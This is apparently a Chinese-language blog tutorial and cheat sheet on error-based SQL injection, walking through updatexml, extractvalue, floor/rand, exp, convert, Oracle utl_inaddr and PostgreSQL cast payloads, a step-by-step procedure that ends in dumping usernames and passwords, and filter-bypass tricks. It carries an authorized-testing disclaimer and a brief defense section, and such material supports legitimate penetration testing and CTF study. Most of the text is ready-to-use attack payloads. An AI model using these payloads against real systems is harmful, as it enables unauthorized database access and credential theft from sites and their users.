1. 报错注入到底在打什么：从一次“盲注太慢”说起
搞过一段时间的Web安全测试，你大概率会遇到这样一种场景：目标站点的页面没有任何回显位，联合查询用不了，布尔盲注跑一个字段要等上大半天，时间盲注更是慢得让人想砸键盘。这时候，报错注入（Error-Based Injection）往往就是那个“救命稻草”——它利用数据库在执行SQL语句时抛出的错误信息，把原本查不到的数据直接“喷”在页面上。
我第一次真正重视报错注入，是在一次内部靶场练习里。当时一个模拟的查询接口，页面只返回“查询失败”四个字，联合查询试了没反应，布尔盲注跑了二十分钟才猜出库名长度。后来换成报错注入，一条payload直接把当前数据库名、版本号全带出来了，前后不到十秒。那种效率差距，让我彻底把报错注入的常用函数整理成了一份自己的速查表。
这篇文章要聊的，就是报错注入里那些真正高频、真正好用的函数。我会把MySQL、SQL Server、Oracle、PostgreSQL这几个主流数据库的报错注入函数都过一遍，讲清楚每个函数的原理、适用版本、payload构造方式，以及我在实际测试中踩过的坑。不管你是刚接触SQL注入的新手，还是想补全自己知识体系的老手，这篇内容都能直接拿去用。
需要先说明一点：本文所有内容仅用于授权的安全测试、CTF竞赛和自身靶场环境的学习研究。未经授权对他人系统进行测试，是明确违规甚至违法的行为。这个底线，做安全的人心里都得有数。
2. 报错注入的核心原理：为什么错误信息能“吐”出数据
2.1 报错注入的本质：让数据库把数据当“错误”报出来
要理解报错注入，得先明白一个基本事实：数据库在执行SQL时，如果遇到类型转换失败、函数参数不合法、主键冲突等问题，会把出错的具体内容拼进错误信息里返回给客户端。比如MySQL里执行SELECT 1/0，会报“Division by 0”；执行SELECT CAST('abc' AS UNSIGNED)，会报“Truncated incorrect INTEGER value: 'abc'”。
关键在于，这个错误信息里的“abc”是可控的。如果我们把'abc'换成(SELECT database())，那么错误信息就会变成“Truncated incorrect INTEGER value: 'security'”——数据库名就这么被带出来了。这就是报错注入最朴素的逻辑：构造一个必然出错的表达式，把想查的数据嵌进错误信息里。
2.2 报错注入的三个前提条件
不是所有注入点都能用报错注入，它需要满足几个条件：
- 页面会回显数据库错误信息。如果站点做了统一的错误处理，把所有数据库错误都替换成“系统繁忙”，那报错注入就无从下手。这也是为什么很多生产环境会关闭
display_errors。 - 注入点能执行子查询或函数。报错注入的payload通常需要嵌套子查询，如果注入点被限制在
LIMIT后面或者某些不支持子查询的位置，就得换思路。 - 数据库版本支持对应的报错函数。MySQL 5.7和8.0的报错函数行为有差异，SQL Server和Oracle更是完全不同，得对症下药。
2.3 报错注入 vs 联合查询 vs 盲注：什么时候选哪个
| 注入方式 | 适用场景 | 优点 | 缺点 |
|---|---|---|---|
| 联合查询 | 页面有回显位 | 速度快，一次拿多列 | 需要列数匹配，回显位有限 |
| 报错注入 | 页面回显数据库错误 | 速度快，无需回显位 | 依赖错误回显，有长度限制 |
| 布尔盲注 | 页面只返回真/假 | 适用面广 | 速度极慢，逐字符判断 |
| 时间盲注 | 页面无任何差异 | 几乎万能 | 速度最慢，受网络影响大 |
实际测试中的优先级一般是：联合查询 > 报错注入 > 布尔盲注 > 时间盲注。报错注入排在第二位，就是因为它在“无回显位但有错误回显”这个常见场景下，效率远高于盲注。
3. MySQL报错注入常用函数全解析
MySQL是报错注入里最常打交道的数据库，它的报错函数也最多。下面这几个函数，基本覆盖了MySQL 5.x到8.x的绝大多数场景。
3.1 updatexml()：最经典的报错注入函数
updatexml()是MySQL里用于更新XML文档内容的函数，语法是updatexml(XML_document, XPath_string, new_value)。当XPath_string格式不正确时，MySQL会抛出“XPATH syntax error”错误，并把错误的XPath字符串拼进错误信息。
payload构造：
and updatexml(1, concat(0x7e, (select database()), 0x7e), 1)这里的0x7e是波浪号~的十六进制，作用是给数据加个标记，方便在错误信息里定位。执行后会报：
XPATH syntax error: '~security~'注意事项：updatexml()最多只能返回32位字符。如果数据超过32位，需要用substr()或mid()分段读取。比如：
and updatexml(1, concat(0x7e, substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), 1, 32), 0x7e), 1)版本差异：MySQL 5.7.5之后，updatexml()在某些情况下可能不再报错，具体取决于SQL模式。如果发现payload没反应，先确认版本和SQL模式。
3.2 extractvalue()：updatexml的“孪生兄弟”
extractvalue()用于从XML文档中提取值，语法是extractvalue(XML_document, XPath_string)。和updatexml()一样，当XPath格式错误时会报错并带出内容。
payload构造：
and extractvalue(1, concat(0x7e, (select user()), 0x7e))执行后报：
XPATH syntax error: '~root@localhost~'extractvalue()同样有32位长度限制，用法和updatexml()几乎一致。实际测试中，我一般两个都准备着，因为有些环境里其中一个会被过滤或失效，另一个还能用。
3.3 floor()+rand()+group by：不依赖XML函数的报错方式
如果目标环境把updatexml()和extractvalue()都过滤了，floor()报错法就是备选方案。它的原理是利用group by和rand()配合时产生的“Duplicate entry”主键冲突错误。
payload构造：
and (select 1 from (select count(*), concat((select database()), floor(rand(0)*2)) x from information_schema.tables group by x) a)执行后会报：
Duplicate entry 'security1' for key 'group_key'这个方法的坑比较多：
- 需要
information_schema.tables里有足够多的行，否则可能不报错。一般要求至少3行以上。 rand(0)里的种子值需要固定，否则每次执行结果不稳定。- 在MySQL 8.0里，
group by的行为有变化，这个方法可能失效，需要改用其他方式。 - 报错信息里的数据可能被截断，需要配合
substr()使用。
我个人的经验是，floor()报错法作为备用方案可以，但优先还是用updatexml()和extractvalue()，因为后者更稳定、payload更短。
3.4 exp()：利用数学函数溢出报错
exp()是自然指数函数，当参数超过709时会溢出报错。payload构造：
and exp(~(select * from (select database()) a))执行后报：
DOUBLE value is out of range in 'exp(~((select 'security' from dual)))'这个方法的优点是payload短，缺点是报错信息里的数据可能被嵌套结构影响，提取起来不如XML函数直观。而且不同MySQL版本对exp()溢出的处理不一致，实测下来稳定性一般。
3.5 MySQL报错注入函数对比表
| 函数 | payload示例 | 长度限制 | 稳定性 | 适用版本 |
|---|---|---|---|---|
| updatexml | and updatexml(1,concat(0x7e,(select database()),0x7e),1) | 32位 | 高 | 5.1+ |
| extractvalue | and extractvalue(1,concat(0x7e,(select database()),0x7e)) | 32位 | 高 | 5.1+ |
| floor+rand | and (select 1 from(select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a) | 64位 | 中 | 5.0-5.7 |
| exp | and exp(~(select * from(select database())a)) | 无明确限制 | 低 | 5.5+ |
4. SQL Server报错注入常用函数与技巧
SQL Server的报错注入思路和MySQL不同，它更多依赖类型转换错误和系统函数。
4.1 convert()/cast()：类型转换报错
SQL Server里最常用的报错注入方式是利用convert()或cast()把字符串转成整数时失败，错误信息会带出原始字符串。
payload构造：
and 1=convert(int, (select @@version))执行后报：
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019...' to data type int.@@version可以换成db_name()、user_name()、(select top 1 name from sysobjects where xtype='U')等。
注意事项：SQL Server的报错信息长度限制比MySQL宽松，一般能带出较多内容。但如果数据太长，还是需要分段。
4.2 利用having和子查询报错
另一种方式是利用having子句配合聚合函数：
and 1=(select count(*) from sys.objects having 1=convert(int,(select db_name())))这个方法的原理和convert()类似，只是嵌套层级更深，适合某些过滤场景。
4.3 SQL Server报错注入的版本差异
SQL Server 2005之后，sysobjects等系统表逐渐被sys.objects等视图替代，但为了兼容性，老表仍然可用。实际测试中，我一般先试sysobjects，不行再换sys.objects。另外，SQL Server的报错注入对权限有一定要求，低权限用户可能无法读取某些系统表。
5. Oracle与PostgreSQL报错注入函数速览
5.1 Oracle：利用utl_inaddr和ctxsys.drithsx.sn
Oracle的报错注入相对复杂，常用的是utl_inaddr.get_host_name()和ctxsys.drithsx.sn()。
payload构造：
and 1=utl_inaddr.get_host_name((select user from dual))执行后报：
ORA-29257: host unknown ORA-06512: at "SYS.UTL_INADDR", line 4错误信息里会带出user的值。另一个函数：
and 1=ctxsys.drithsx.sn(1, (select user from dual))报错信息类似。Oracle的报错注入需要一定的权限，普通用户可能无法调用这些包。
5.2 PostgreSQL：利用cast和类型转换
PostgreSQL的报错注入主要靠cast()：
and 1=cast((select current_database()) as int)执行后报：
invalid input syntax for type integer: "testdb"PostgreSQL的报错信息比较直接，数据会完整出现在错误里。但需要注意，PostgreSQL默认会把错误信息记录到日志，页面上不一定回显，得看具体配置。
5.3 各数据库报错注入函数速查表
| 数据库 | 常用函数/方法 | payload示例 | 备注 |
|---|---|---|---|
| MySQL | updatexml | and updatexml(1,concat(0x7e,(select database()),0x7e),1) | 32位限制 |
| MySQL | extractvalue | and extractvalue(1,concat(0x7e,(select database()),0x7e)) | 32位限制 |
| SQL Server | convert | and 1=convert(int,(select @@version)) | 长度较宽松 |
| Oracle | utl_inaddr | and 1=utl_inaddr.get_host_name((select user from dual)) | 需权限 |
| PostgreSQL | cast | and 1=cast((select current_database()) as int) | 依赖错误回显 |
6. 报错注入实操流程：从判断到拿数据
6.1 第一步：判断是否存在报错注入
先找一个可能的注入点，比如?id=1。尝试构造一个必然出错的payload：
?id=1'如果页面返回数据库错误信息，说明有报错回显。如果没有，试试：
?id=1 and updatexml(1,concat(0x7e,(select 1),0x7e),1)如果报“XPATH syntax error”，说明报错注入可用。
6.2 第二步：确定数据库类型和版本
?id=1 and updatexml(1,concat(0x7e,(select version()),0x7e),1)根据返回的版本信息判断是MySQL、SQL Server还是其他。这一步很关键，因为不同数据库的后续payload完全不同。
6.3 第三步：获取当前数据库名和用户
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) ?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)6.4 第四步：获取表名和列名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)如果表名超过32位，用substr()分段：
?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,32),0x7e),1)6.5 第五步：提取目标数据
?id=1 and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password) from users),1,32),0x7e),1)这里的0x3a是冒号，用于分隔用户名和密码。
6.6 实操中的编码与绕过技巧
- 空格被过滤：用
/**/或%0a代替空格。 - 引号被过滤：用
0x7e代替~，用char()函数构造字符串。 - 关键字被过滤：用大小写混合、内联注释
/*!select*/绕过。 - 长度限制：用
substr()、mid()、left()分段读取。
7. 常见问题与排查技巧实录
7.1 为什么payload执行了但不报错
这是最常见的问题。可能原因有：
- 页面关闭了错误回显。检查响应里是否有数据库错误信息，如果没有，报错注入不可用。
- 函数被过滤。尝试换
extractvalue()或floor()方法。 - SQL模式限制。MySQL的
ONLY_FULL_GROUP_BY等模式可能影响floor()报错。 - 版本不支持。MySQL 8.0对某些报错函数的行为有变化。
7.2 报错信息里数据被截断怎么办
MySQL的updatexml()和extractvalue()最多返回32位。解决办法是用substr()分段：
and updatexml(1,concat(0x7e,substr((select database()),1,32),0x7e),1) and updatexml(1,concat(0x7e,substr((select database()),33,32),0x7e),1)7.3 特殊字符导致payload失败
如果数据里包含单引号、双引号等特殊字符，可能会破坏payload结构。解决办法是用hex()把数据转成十六进制：
and updatexml(1,concat(0x7e,hex((select database())),0x7e),1)拿到结果后再手动解码。
7.4 常见问题速查表
| 问题 | 可能原因 | 解决方法 |
|---|---|---|
| payload不报错 | 错误回显关闭 | 换盲注或联合查询 |
| 数据被截断 | 函数长度限制 | 用substr分段 |
| 函数被过滤 | WAF或代码过滤 | 换函数或编码绕过 |
| 报错信息乱码 | 字符集问题 | 用hex()转十六进制 |
| floor()不报错 | 表行数不足 | 换information_schema其他表 |
7.5 几个我踩过的坑
坑一：以为所有MySQL都支持updatexml。实际上MySQL 5.7.5之后，某些SQL模式下updatexml()可能不报错。我遇到过一台服务器，updatexml()完全没反应，换成extractvalue()才成功。
坑二：忽略报错信息的长度限制。有一次查一个长字符串，updatexml()只返回了前32位，我以为是数据本身就这么长，结果漏掉了后半段。后来养成习惯，先用length()查长度，再分段读取。
坑三：在SQL Server里用MySQL的payload。SQL Server不支持updatexml()，得用convert()。这个错误新手很容易犯，一定要先判断数据库类型。
8. 报错注入的防御视角：为什么这些函数会被滥用
从防御角度看，报错注入能成功，根本原因是应用把数据库错误信息直接返回给了前端。正确的做法是：
- 关闭详细错误回显。生产环境应该统一返回“系统错误”，把详细错误记录到日志。
- 使用参数化查询。这是防SQL注入最有效的手段，从根本上杜绝注入。
- 最小权限原则。数据库账号只给必要的权限，避免注入后能读取敏感系统表。
- WAF规则。对
updatexml、extractvalue、convert等关键字进行检测和拦截。
我在做代码审计时，经常看到开发人员为了调试方便，把display_errors打开，上线后忘了关。这种疏忽就是报错注入的温床。
9. 工具与自动化：什么时候该手注，什么时候该上工具
手工报错注入适合快速验证和简单数据提取。但如果目标数据量大，或者需要批量测试多个注入点，就得靠工具了。常见的SQL注入工具都支持报错注入模式，配置好payload模板后可以自动跑。
不过我的经验是，工具不是万能的。有些WAF会针对工具的默认payload进行拦截，这时候手工构造的、带编码绕过的payload反而更容易成功。所以，工具和手工得结合着用。
另外，CTF比赛里报错注入经常作为考点出现，手工能力是基础。平时多练练，比赛时才能快速反应。
10. 最后分享几个实战小技巧
第一个技巧：先判断数据库类型再选函数。别一上来就用updatexml()，先跑个version()看看是什么数据库。MySQL、SQL Server、Oracle的报错注入函数完全不通用，判断错了就是白费功夫。
第二个技巧：payload里加标记符。用0x7e（波浪号）或0x3a（冒号）把数据包起来，方便在错误信息里快速定位。尤其是错误信息很长的时候，有标记符能省不少眼力。
第三个技巧：分段读取时先查长度。用length()或len()先确认数据总长度，再决定分几段读。这样不会漏数据，也不会多跑无用的请求。
第四个技巧：注意字符集和编码。有些目标站点的数据库字符集不是UTF-8，直接读中文可能乱码。这时候用hex()转十六进制，拿到结果后再解码，能避免很多麻烦。
报错注入这个技术点，说复杂也复杂，说简单也简单。核心就是那几个函数，但每个函数的适用场景、版本差异、绕过技巧，都需要在实际测试中慢慢积累。我整理这份速查表的初衷，就是希望下次遇到报错注入时，能少翻几次文档，直接找到能用的payload。
